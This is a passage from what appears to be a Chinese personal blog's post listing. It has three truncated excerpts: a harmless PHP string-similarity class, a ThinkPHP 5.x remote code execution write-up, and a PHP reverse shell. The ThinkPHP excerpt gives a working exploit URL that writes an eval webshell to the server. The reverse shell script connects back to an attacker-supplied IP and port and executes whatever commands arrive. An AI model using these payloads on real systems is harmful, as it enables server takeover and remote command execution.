2020-3-30 myluzh
PHP
可以计算两个字符串之间最长公共子序列或者相似度,但是比较吃内存。
<?php
class LCS {
var $str1;
var $str2;
var $c = array();
/*返回串一和串二的最长公共子序列
*/
function getLCS($str1, $str2, $len1 = 0, $len2 = 0) {
$this->str1 = $str1;
$this->str2 = $str2;
if ($len1 == 0) $len1 = strlen($str1);
if ($len2 == 0) $len2 = strlen($str2);
$this->initC($len1, $len2);
return $this->printLCS($this->c, $len1 - 1, $len2 - 1);
}
/*返回两个串的相似度
*/
function getSimil...
阅读全文>>
标签: php 算法
评论(0)
(875)
2020-3-25 myluzh
PHP
0x01影响版本:
ThinkPHP v5.0系列<5.0.23
ThinkPHP v5.1系列<5.1.31
0x02漏洞分析:
关键代码:
// 获取控制器名
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
该漏洞形成的原因是ThinkPHP在获取控制器名时未对用户提交的参数进行严格的过滤,在没有开启强制路由的情况下,攻击者可以通过输入‘\’字符的方式调用任意方法,从而实现远程代码执行。
0x03入侵利用
1. 写入 Shell
http//localhost/thinkphp-5.1.29/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_REQUEST[...
阅读全文>>
标签: 渗透 php 漏洞 ThinkPHP 远程命令执行
评论(0)
(1485)
2020-3-6 myluzh
PHP
需要传递ip跟port两个参数,ip为攻击机的ip,port为自定义端口
<?php
set_time_limit(0);
$ip=$_GET['ip']
$port=$_GET['port'];
if ($ip == "" and $port == "") {
echo "[ip] [port] not defined";
exit();
}
$fp = @fsockopen($ip, $port, $errno, $errstr);
if (!$fp) {
echo "connection timed out";
} else {
fputs($fp, "\n++++++++++connect success++++++++\n");
while (!feof($fp)) {
fputs($fp, "shell:"); //输出
$shell = fgets($fp);
$message = `$shell`;
fputs($fp, $message);
}
...
阅读全文>>
标签: php 反弹 shell
评论(0)
(1040)